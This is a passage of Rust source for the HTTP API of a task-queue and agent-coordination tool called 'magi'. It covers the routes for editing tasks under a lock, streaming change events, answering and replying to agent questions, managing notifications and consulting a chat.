7271        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7272        ui.queue
7273            .remove(&id, in_flight, &ui.questions)
7274            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7275        Ok(StatusCode::NO_CONTENT)
7276    })
7277    .await
7278}
7279
7280/// Read a task, change it, write it back, under the queue's own lock.
7281///
7282/// Taking the same claim a daemon takes is what makes hold, release,
7283/// priority, edit, and done safe to press while magi is running: without it
7284/// the daemon's next save would land on top of the operator's change and
7285/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7286/// both do, for a running task - and that refusal becomes the 4xx the card
7287/// shows, same as any other domain rule.
7288async fn mutate(
7289    ui: Arc<Ui>,
7290    id: String,
7291    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7292) -> ApiResult<Json<TaskView>> {
7293    blocking(move || {
7294        let id = resolve_task(&ui.queue, &id)?;
7295        // `claim` fails when the lock file already exists, which is the
7296        // conflict the UI must report: the daemon owns that task's file for
7297        // as long as it is running it, and our write would be lost under its
7298        // next save. The message names the lock either way.
7299        let _claim = ui.queue.claim(&id).map_err(|e| {
7300            ApiError::conflict(format!(
7301                "{e:#} - a daemon is running this task, so it cannot be \
7302                 changed from here yet; wait until it is released, then retry"
7303            ))
7304        })?;
7305        let mut task = ui.queue.get(&id)?;
7306        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7307            Ok(dup) => ApiError::conflict(dup.render(
7308                "Nothing was saved. If it is not a duplicate, repeat the request with \
7309                 \"force\": true.",
7310            )),
7311            Err(e) => ApiError::bad_request_from(e),
7312        })?;
7313        ui.queue.put(&mut task)?;
7314        Ok(Json(TaskView::from(task)))
7315    })
7316    .await
7317}
7318
7319/// The change stream: one revision number per store, on connect and whenever
7320/// any of them moves.
7321///
7322/// One shared worker scans stores; clients only forward its notifications.
7323async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7324    ui.monitor.ensure_worker(&ui);
7325    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7326    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7327
7328    let state = Arc::clone(&ui);
7329    tokio::spawn(async move {
7330        let initial_revisions = {
7331            let guard = match state.monitor.latest.lock() {
7332                Ok(g) => g,
7333                Err(p) => p.into_inner(),
7334            };
7335            guard.as_ref().map(|(r, _)| *r)
7336        };
7337        if let Some(revisions) = initial_revisions {
7338            let initial_payload = serde_json::json!({
7339                "queue_rev": revisions.0,
7340                "runs_rev": revisions.1,
7341                "questions_rev": revisions.2,
7342                "talks_rev": revisions.3,
7343                "notifications_rev": revisions.4,
7344                "loop_rev": revisions.5,
7345            });
7346
7347            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7348                if tx.send(event).await.is_err() {
7349                    return;
7350                }
7351            }
7352        }
7353
7354        loop {
7355            match tokio::select! {
7356                _ = tx.closed() => return,
7357                value = broadcast_rx.recv() => value,
7358            } {
7359                Ok(notif) => {
7360                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7361                    else {
7362                        break;
7363                    };
7364                    if tx.send(event).await.is_err() {
7365                        break;
7366                    }
7367                }
7368                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7369                    let revs = {
7370                        let guard = match state.monitor.latest.lock() {
7371                            Ok(g) => g,
7372                            Err(p) => p.into_inner(),
7373                        };
7374                        guard.as_ref().map(|(r, _)| *r)
7375                    };
7376                    if let Some(revs) = revs {
7377                        let payload = serde_json::json!({
7378                            "queue_rev": revs.0,
7379                            "runs_rev": revs.1,
7380                            "questions_rev": revs.2,
7381                            "talks_rev": revs.3,
7382                            "notifications_rev": revs.4,
7383                            "loop_rev": revs.5,
7384                        });
7385                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7386                            if tx.send(event).await.is_err() {
7387                                break;
7388                            }
7389                        }
7390                    }
7391                }
7392                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7393                    break;
7394                }
7395            }
7396        }
7397    });
7398
7399    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7400        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7401}
7402
7403/// Run ids under `runs`, newest first.
7404///
7405/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7406/// which reads the process-global home: the server has to be drivable against
7407/// a temp directory for any of this to be testable.
7408fn run_ids(runs: &FsPath) -> Vec<String> {
7409    let mut ids: Vec<String> = std::fs::read_dir(runs)
7410        .into_iter()
7411        .flatten()
7412        .flatten()
7413        .filter(|e| e.path().join("run.json").is_file())
7414        .map(|e| e.file_name().to_string_lossy().into_owned())
7415        .collect();
7416    // Ids start with a sortable timestamp.
7417    ids.sort_unstable_by(|a, b| b.cmp(a));
7418    ids
7419}
7420
7421/// Read one run's state from an explicit runs root.
7422fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7423    let path = runs.join(id).join("run.json");
7424    let body =
7425        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7426    let state: RunState =
7427        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7428    // The same migration `RunState::load` applies, so a record from the
7429    // previous schema reads here as it does everywhere else (an origin-less
7430    // run shows as "origin unknown") instead of vanishing from the phone the
7431    // moment the schema is bumped.
7432    run::migrate_schema(state)
7433}
7434
7435/// Runs on disk under `runs` whose state this build cannot parse - almost
7436/// always a schema bump, occasionally a run killed mid-write.
7437///
7438/// Exposed so every surface that reports on runs shares one count instead of
7439/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7440/// `magi doctor` calls this directly rather than guessing at the same number
7441/// a second way.
7442#[must_use]
7443pub fn runs_unreadable(runs: &FsPath) -> usize {
7444    run_ids(runs)
7445        .into_iter()
7446        .filter(|id| read_run(runs, id).is_err())
7447        .count()
7448}
7449
7450fn plain_record_id(id: &str) -> bool {
7451    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7452}
7453
7454/// Expand an id or short id to exactly one run id.
7455fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7456    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7457        return Ok(id.to_owned());
7458    }
7459    pick(run_ids(runs), id, "run")
7460}
7461
7462/// Expand an id or short id to exactly one task id.
7463fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7464    if plain_record_id(id) && queue.path_of(id).is_file() {
7465        return Ok(id.to_owned());
7466    }
7467    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7468    pick(ids, id, "task")
7469}
7470
7471/// A question as the phone reads it.
7472///
7473/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7474/// text already parsed into a node tree so the client never runs its own
7475/// markdown reader over agent-authored prose. A relative image path in it
7476/// resolves against this question's own panel asset route, which is the one
7477/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7478/// separate, sandboxed document, but `detail` is rendered inline in the
7479/// operator's own page, so an image reference in it may only ever point at
7480/// files magi itself already serves for this question.
7481#[derive(Debug, Serialize)]
7482struct QuestionView {
7483    choice_effects: std::collections::BTreeMap<String, String>,
7484    record_revision: String,
7485    #[serde(flatten)]
7486    question: Question,
7487    detail_md: Vec<md::Node>,
7488    posting_view: Option<PostingView>,
7489    /// Each thread turn's body, parsed; same order as `question.thread`.
7490    thread_bodies_md: Vec<Vec<md::Node>>,
7491    /// Each thread turn's deputy note, parsed (`None` for a turn without
7492    /// one); same order as `question.thread`.
7493    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7494    /// Is the ball in the agent's court right now?
7495    ///
7496    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7497    /// [`Question::say`] - so this is the one field that tells the phone to
7498    /// disable the answer controls and show "waiting for the agent" instead of
7499    /// a card the owner can act on. Computed rather than stored on
7500    /// [`Question`] itself, on the same reasoning as `waiting` on
7501    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7502    /// it here means the client never has to re-derive that rule.
7503    waiting_on_agent: bool,
7504    /// Who is waiting on this open question - see [`holder_of`]. Separate
7505    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7506    /// anyone is there to take it.
7507    holder: Option<&'static str>,
7508    /// Whether `magi serve` can start a follow-up agent for a conductor
7509    /// question at all: false when `daemon.max_deputies = 0` or the config is
7510    /// unreadable. Separate from `holder`, which says who is listening now.
7511    deputies_enabled: bool,
7512    /// All starts were spent and no live holder remains. Display-only: the
7513    /// final attempt increments `starts` before running under its lease.
7514    deputy_exhausted: bool,
7515    text_delivery: crate::question_delivery::Availability,
7516    /// `question.run` is a task id (conductor / triage questions), not a run
7517    /// id, so the UI links it to the task page.
7518    run_is_task: bool,
7519    /// The existing chat this question's task came from, including settled
7520    /// questions - see [`crate::consult::associated_talk`].
7521    origin_chat: Option<String>,
7522    /// `origin_chat` is closed; consulting reopens it first.
7523    origin_chat_closed: bool,
7524    /// Consultation eligibility is separate from navigation to the chat.
7525    can_consult_chat: bool,
7526}
7527
7528#[derive(Debug, Serialize)]
7529struct PostingView {
7530    before_md: Vec<md::Node>,
7531    after_md: Vec<md::Node>,
7532    fields: Vec<crate::github_text::ComparisonView>,
7533}
7534
7535fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7536    let comparison = question.posting_comparison.as_ref()?;
7537    if !comparison.matches_detail(&question.detail) {
7538        return None;
7539    }
7540    let mut ids = std::collections::BTreeSet::new();
7541    if comparison.fields.is_empty()
7542        || comparison
7543            .fields
7544            .iter()
7545            .flat_map(|f| &f.pairs)
7546            .any(|p| !ids.insert(p.id))
7547        || comparison
7548            .fields
7549            .iter()
7550            .flat_map(|f| &f.original_triggers)
7551            .any(|t| !ids.insert(t.id))
7552    {
7553        return None;
7554    }
7555    let fields = comparison
7556        .fields
7557        .iter()
7558        .map(|f| f.view(comparison.excerpt))
7559        .collect::<Option<Vec<_>>>()?;
7560    Some(PostingView {
7561        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7562        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7563        fields,
7564    })
7565}
7566
7567impl QuestionView {
7568    /// The view of `question`, reading who is waiting on it from `store`.
7569    ///
7570    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7571    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7572        let base = md::ImageBase::QuestionPanel {
7573            id: question.id.clone(),
7574        };
7575        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7576        Self {
7577            choice_effects: question
7578                .choices
7579                .iter()
7580                .filter_map(|c| {
7581                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7582                })
7583                .collect(),
7584            record_revision: question_record_revision(&question),
7585            detail_md: md::to_nodes(&question.detail, &base),
7586            posting_view: posting_view(&question, &base),
7587            thread_bodies_md: question
7588                .thread
7589                .iter()
7590                .map(|t| md::to_nodes(&t.body, &base))
7591                .collect(),
7592            thread_notes_md: question
7593                .thread
7594                .iter()
7595                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7596                .collect(),
7597            deputy_exhausted: store.deputy_exhausted(&question),
7598            waiting_on_agent: question.waiting_on_agent(),
7599            holder,
7600            deputies_enabled: deputies_enabled(cfg, &question),
7601            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7602            run_is_task: question.run_names_task(),
7603            origin_chat: None,
7604            origin_chat_closed: false,
7605            can_consult_chat: false,
7606            question,
7607        }
7608    }
7609
7610    /// Fill `origin_chat` from the queue and the talks.
7611    fn with_origin(
7612        mut self,
7613        tasks: &[crate::queue::Task],
7614        talks: &[Talk],
7615        watches: &[crate::release_watch::WatchState],
7616    ) -> Self {
7617        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7618        self.can_consult_chat = consult.is_some();
7619        let talk =
7620            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7621        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7622        self.origin_chat = talk.map(|t| t.id);
7623        self
7624    }
7625}
7626
7627/// The config this repository resolves, or `None` when it cannot be read.
7628/// Discovering is git processes plus a config render, so a request that needs
7629/// it for many items takes it once and passes it down.
7630fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7631    Config::discover(repo, None).ok().map(|(c, _)| c)
7632}
7633
7634/// Can `magi serve` start a deputy for this question under `cfg`?
7635fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7636    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7637}
7638
7639/// The views `GET /api/questions` answers. `load` runs at most once, however
7640/// many questions there are, and not at all when there are none.
7641fn question_views(
7642    qs: Vec<Question>,
7643    store: &ask::Questions,
7644    load: impl FnOnce() -> Option<Config>,
7645) -> Vec<QuestionView> {
7646    if qs.is_empty() {
7647        return Vec::new();
7648    }
7649    let cfg = load();
7650    qs.into_iter()
7651        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7652        .collect()
7653}
7654
7655/// Who is honestly waiting on an open question right now: `"asker"` (the
7656/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7657/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7658/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7659/// up, or the question never had anyone listening (a conductor question or a
7660/// merge approval from before deputies, or not yet given one).
7661///
7662/// `None` for a question that is settled, and for one that is not an agent's
7663/// to wait on at all (a release notice).
7664fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7665    if !q.status.open() {
7666        return None;
7667    }
7668    if q.cwd.is_none()
7669        && q.deputy.is_none()
7670        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7671    {
7672        return crate::deputy::kind_of(q).map(|_| "nobody");
7673    }
7674    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7675        Some(_) if q.deputy.is_some() => "deputy",
7676        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7677        Some(_) => "asker",
7678        None => "nobody",
7679    })
7680}
7681
7682/// `GET /api/questions`.
7683///
7684/// Everything, not just the open ones: an answered question is the record of a
7685/// decision, and the phone is where the operator goes back to check what they
7686/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7687async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7688    blocking(move || {
7689        let questions = ui.questions.list();
7690        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7691        Ok(Json(
7692            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7693                .into_iter()
7694                .map(|view| view.with_origin(&tasks, &talks, &watches))
7695                .collect(),
7696        ))
7697    })
7698    .await
7699}
7700
7701/// Question content and answer controls never wait for task/chat provenance.
7702async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7703    blocking(move || {
7704        Ok(Json(question_views(
7705            ui.questions.list(),
7706            &ui.questions,
7707            || deputy_config(&ui.repo),
7708        )))
7709    })
7710    .await
7711}
7712
7713fn question_record_revision(question: &Question) -> String {
7714    use std::hash::{Hash as _, Hasher as _};
7715    let mut hash = std::hash::DefaultHasher::new();
7716    serde_json::to_vec(question)
7717        .expect("serializable question")
7718        .hash(&mut hash);
7719    format!("{:016x}", hash.finish())
7720}
7721
7722#[derive(Serialize)]
7723struct QuestionOriginView {
7724    id: String,
7725    record_revision: String,
7726    origin_chat: Option<String>,
7727    origin_chat_closed: bool,
7728    can_consult_chat: bool,
7729}
7730
7731async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7732    blocking(move || {
7733        let questions = ui.questions.list();
7734        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7735        Ok(Json(
7736            questions
7737                .into_iter()
7738                .map(|question| {
7739                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7740                    let can_consult_chat = consult.is_some();
7741                    let talk = crate::consult::associated_talk_with_watches(
7742                        &tasks, &talks, &question, &watches,
7743                    );
7744                    QuestionOriginView {
7745                        record_revision: question_record_revision(&question),
7746                        id: question.id,
7747                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7748                        origin_chat: talk.map(|talk| talk.id),
7749                        can_consult_chat,
7750                    }
7751                })
7752                .collect(),
7753        ))
7754    })
7755    .await
7756}
7757
7758type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7759
7760/// Only the task ancestry and chats these questions actually reference. Run
7761/// mappings share the reconciled queue index; exact task references bypass it.
7762/// No question means no task/chat I/O, including no index reconciliation.
7763fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7764    fn task_for_run(
7765        ui: &Ui,
7766        index: &mut Option<Vec<Arc<TaskRelation>>>,
7767        run: &str,
7768        loaded: &HashMap<String, Task>,
7769    ) -> ApiResult<Option<Task>> {
7770        if !plain_record_id(run) {
7771            return Ok(None);
7772        }
7773        if index.is_none() {
7774            *index = Some(ui.indexed_tasks()?);
7775        }
7776        Ok(index
7777            .as_ref()
7778            .expect("loaded index")
7779            .iter()
7780            .find(|task| task.runs.iter().any(|id| id == run))
7781            .and_then(|task| {
7782                loaded
7783                    .get(&task.id)
7784                    .cloned()
7785                    .or_else(|| ui.queue.get(&task.id).ok())
7786            })
7787            .filter(|task| task.runs.iter().any(|id| id == run)))
7788    }
7789    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7790        plain_record_id(id)
7791            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7792            .flatten()
7793            .filter(|task| task.id == id)
7794    };
7795    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7796    let mut index = None;
7797    let mut tasks = HashMap::new();
7798    let mut talks = HashMap::new();
7799    for question in questions {
7800        for reference in crate::consult::question_task_refs(question, &watches) {
7801            let mut current = match reference {
7802                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7803                crate::consult::QuestionTaskRef::Run(id) => {
7804                    task_for_run(ui, &mut index, id, &tasks)?
7805                }
7806            };
7807            let mut seen = HashSet::new();
7808            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7809                let Some(task) = current.take() else {
7810                    break;
7811                };
7812                if !seen.insert(task.id.clone()) {
7813                    break;
7814                }
7815                let chat = task.chat_talk().map(str::to_owned);
7816                let followup = task.followup.clone();
7817                tasks.insert(task.id.clone(), task);
7818                if let Some(chat) = chat {
7819                    if plain_record_id(&chat)
7820                        && !talks.contains_key(&chat)
7821                        && let Ok(talk) = ui.talks.get(&chat)
7822                    {
7823                        talks.insert(chat, talk);
7824                    }
7825                    break;
7826                }
7827                let Some(followup) = followup else {
7828                    break;
7829                };
7830                current = match followup.origin_task {
7831                    Some(id) => direct_task(&id, &tasks),
7832                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7833                };
7834            }
7835        }
7836    }
7837    let mut tasks: Vec<Task> = tasks.into_values().collect();
7838    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7839    Ok((tasks, talks.into_values().collect(), watches))
7840}
7841
7842/// `GET /api/notifications`: not dismissed, newest first, with the unread
7843/// count so the badge and the list cannot disagree.
7844async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7845    blocking(move || {
7846        let items = ui.notices.list();
7847        let unread = items.iter().filter(|n| n.unread()).count();
7848        let items: Vec<_> = items
7849            .into_iter()
7850            .map(|n| {
7851                let question = crate::notices::answerable_question(&n, &ui.questions);
7852                let mut item = serde_json::to_value(n)?;
7853                item["answerable_question"] = serde_json::json!(question);
7854                Ok(item)
7855            })
7856            .collect::<anyhow::Result<_>>()?;
7857        Ok(Json(
7858            serde_json::json!({ "unread": unread, "items": items }),
7859        ))
7860    })
7861    .await
7862}
7863
7864fn notice_error(e: anyhow::Error) -> ApiError {
7865    // An unknown or malformed id and a vanished file are the same answer to
7866    // the phone: that notification is gone.
7867    ApiError::not_found(format!("{e:#}"))
7868}
7869
7870/// `POST /api/notifications/{id}/read`.
7871async fn notification_read(
7872    State(ui): State<Arc<Ui>>,
7873    Path(id): Path<String>,
7874) -> ApiResult<Json<Notice>> {
7875    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7876}
7877
7878/// `POST /api/notifications/{id}/dismiss`.
7879async fn notification_dismiss(
7880    State(ui): State<Arc<Ui>>,
7881    Path(id): Path<String>,
7882) -> ApiResult<Json<Notice>> {
7883    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7884}
7885
7886/// `POST /api/notifications/read-all`.
7887async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7888    blocking(move || {
7889        let changed = ui.notices.mark_all_read()?;
7890        Ok(Json(serde_json::json!({ "marked": changed })))
7891    })
7892    .await
7893}
7894
7895/// The body of `POST /api/questions/{id}/answer`.
7896///
7897/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7898/// a bad request rather than a guess: an answer magi invented is worse than a
7899/// question left open.
7900#[derive(Debug, Default, Deserialize)]
7901#[serde(default, deny_unknown_fields)]
7902struct NewAnswer {
7903    choice: Option<String>,
7904    text: Option<String>,
7905    talk: Option<String>,
7906    head: Option<String>,
7907}
7908
7909async fn question_answer(
7910    State(ui): State<Arc<Ui>>,
7911    Path(id): Path<String>,
7912    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7913) -> ApiResult<Json<QuestionView>> {
7914    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7915    let answer = match (body.choice, body.text) {
7916        (Some(c), None) => Answer::Choice(c),
7917        (None, Some(t)) => Answer::Text(t),
7918        (Some(_), Some(_)) => {
7919            return Err(ApiError::bad_request(
7920                "send either `choice` or `text`, not both",
7921            ));
7922        }
7923        (None, None) => {
7924            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7925        }
7926    };
7927
7928    blocking(move || {
7929        let id = resolve_question(&ui.questions, &id)?;
7930        let q = ui
7931            .questions
7932            .get(&id)
7933            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7934        if !q.status.open() {
7935            // Answered from the terminal, or by another phone, in between the
7936            // list and the tap. The UI shows the recorded answer rather than an
7937            // error, so it needs the record, not just the status.
7938            return Err(ApiError::conflict(format!(
7939                "question {} is already {}",
7940                q.short(),
7941                q.status.as_str()
7942            )));
7943        }
7944        // `Question::answer` owns the rules - an unoffered choice, free text on
7945        // a multiple-choice question, an empty reply - so the route does not
7946        // restate them and cannot drift from the CLI's behaviour.
7947        let cfg = deputy_config(&ui.repo);
7948        let (q, ()) = ui
7949            .questions
7950            .update(&q.id, |r| {
7951                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7952                // Buttons retain their displayed chat/head binding. A direct
7953                // decision does not require a button or a prior persona offer.
7954                if r.routed_task.is_some()
7955                    && r.merge_target.is_some()
7956                    && merge
7957                    && (body.talk.is_some() || body.head.is_some())
7958                {
7959                    let talk_id = body
7960                        .talk
7961                        .as_deref()
7962                        .context("approval button requires its chat")?;
7963                    let head = body
7964                        .head
7965                        .as_deref()
7966                        .context("approval button requires the displayed head")?;
7967                    let talk = ui.talks.get(talk_id)?;
7968                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
7969                    r.answer_chat_button(answer, talk_id, head)
7970                } else {
7971                    r.answer(answer)
7972                }
7973            })
7974            .map_err(ApiError::bad_request_from)?;
7975        let (tasks, talks, watches) =
7976            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7977        Ok(Json(
7978            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7979        ))
7980    })
7981    .await
7982}
7983
7984/// A dedicated status avoids the client's settled-question 409 handling.
7985fn question_text_error(e: anyhow::Error) -> ApiError {
7986    let reason = e
7987        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7988        .map(|e| e.reason);
7989    let error = ApiError::bad_request_from(e);
7990    if let Some(reason) = reason {
7991        ApiError {
7992            text_reason: Some(reason),
7993            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7994        }
7995    } else {
7996        error
7997    }
7998}
7999
8000/// The body of `POST /api/questions/{id}/say`.
8001#[derive(Debug, Deserialize)]
8002#[serde(deny_unknown_fields)]
8003struct NewSay {
8004    body: String,
8005}
8006
8007/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8008///
8009/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8010/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8011/// file, so there is no turn to serialize against and no
8012/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8013/// is a *different* process - the run parked behind `magi ask` - and picks
8014/// the reply up on its own poll of the very same file, same as an answer
8015/// does.
8016async fn question_say(
8017    State(ui): State<Arc<Ui>>,
8018    Path(id): Path<String>,
8019    body: std::result::Result<Json<NewSay>, JsonRejection>,
8020) -> ApiResult<Json<QuestionView>> {
8021    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8022    blocking(move || {
8023        let id = resolve_question(&ui.questions, &id)?;
8024        let q = ui
8025            .questions
8026            .get(&id)
8027            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8028        if !q.status.open() {
8029            // Same granularity as `question_answer`: answered or abandoned in
8030            // between the list and the tap is not this route's error to
8031            // explain any differently.
8032            return Err(ApiError::conflict(format!(
8033                "question {} is already {}",
8034                q.short(),
8035                q.status.as_str()
8036            )));
8037        }
8038        // `Question::say` owns the one rule that matters here - an empty
8039        // message tells the agent nothing - so the route does not restate it.
8040        let cfg = deputy_config(&ui.repo);
8041        let (q, ()) = ui
8042            .questions
8043            .update(&q.id, |r| {
8044                if body.body.trim().is_empty() {
8045                    return r.say(body.body);
8046                }
8047                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8048                r.say(body.body)
8049            })
8050            .map_err(question_text_error)?;
8051        let (tasks, talks, watches) =
8052            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8053        Ok(Json(
8054            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8055        ))
8056    })
8057    .await
8058}
8059
8060/// A disconnected request or a replacing listener cannot interrupt the short
8061/// transaction between persistence and detached worker publication.
8062async fn admitted<T: Send + 'static>(
8063    admission: AdmissionGuard,
8064    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8065) -> ApiResult<T> {
8066    tokio::spawn(async move {
8067        let result = work.await;
8068        drop(admission);
8069        result
8070    })
8071    .await
8072    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8073}
8074
8075/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8076/// came from. The question stays open: the chat agent answers it with `magi
8077/// answer`, or puts the decision to the owner in the conversation.
8078///
8079/// Answers 202 and runs the turn in the background, like every route that
8080/// spends agent calls. The text is queued as a draft of the existing talk, and
8081/// the turn goes through the talk's own gate and session; no seat or waiter is
8082/// started here.
8083async fn question_consult(
8084    State(ui): State<Arc<Ui>>,
8085    Path(id): Path<String>,
8086) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8087    let admission = ui.begin_admission()?;
8088    admitted(admission, async move {
8089        let (q, tasks, talks, watches, talk, cfg) = blocking({
8090            let ui = Arc::clone(&ui);
8091            move || {
8092                let id = resolve_question(&ui.questions, &id)?;
8093                let q = ui.questions.get(&id).map_err(|e| {
8094                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8095                })?;
8096                if !q.status.open() {
8097                    return Err(ApiError::conflict(format!(
8098                        "question {} is already {}",
8099                        q.short(),
8100                        q.status.as_str()
8101                    )));
8102                }
8103                let (tasks, talks, watches) =
8104                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8105                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8106                    return Err(ApiError::conflict(format!(
8107                        "question {} has no chat to ask",
8108                        q.short()
8109                    )));
8110                };
8111                // Read the config before `begin` saves anything: a failure here
8112                // must leave no consult record or draft behind, or a retry would
8113                // see `fresh == false` and never start the turn.
8114                let cfg = if q.consult.is_none() {
8115                    Some(Config::discover(&talk.repo, None)?.0)
8116                } else {
8117                    None
8118                };
8119                Ok((q, tasks, talks, watches, talk, cfg))
8120            }
8121        })
8122        .await?;
8123        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8124            .await
8125            .map_err(ApiError::from)?;
8126        let (view, reclaimed, submitted) = blocking({
8127            let ui = Arc::clone(&ui);
8128            move || {
8129                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8130                let claim = if fresh {
8131                    match ui.begin_queued_talk_turn(&talk.id)? {
8132                        Some(turn_guard) => {
8133                            let talk = ui.talks.get(&talk.id)?;
8134                            let cfg = match cfg {
8135                                Some(cfg) => cfg,
8136                                None => Config::discover(&talk.repo, None)?.0,
8137                            };
8138                            Some((talk, cfg, turn_guard))
8139                        }
8140                        None => None,
8141                    }
8142                } else {
8143                    None
8144                };
8145                let q = ui.questions.get(&q.id)?;
8146                let cfg = deputy_config(&ui.repo);
8147                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8148                    .with_origin(&tasks, &talks, &watches);
8149                Ok((view, claim, fresh.then_some(talk.id)))
8150            }
8151        })
8152        .await?;
8153        #[cfg(not(test))]
8154        {
8155            if let Some(id) = submitted {
8156                crate::consult::spawn_turn(&ui.talks, &id)
8157                    .await
8158                    .map_err(ApiError::from)?;
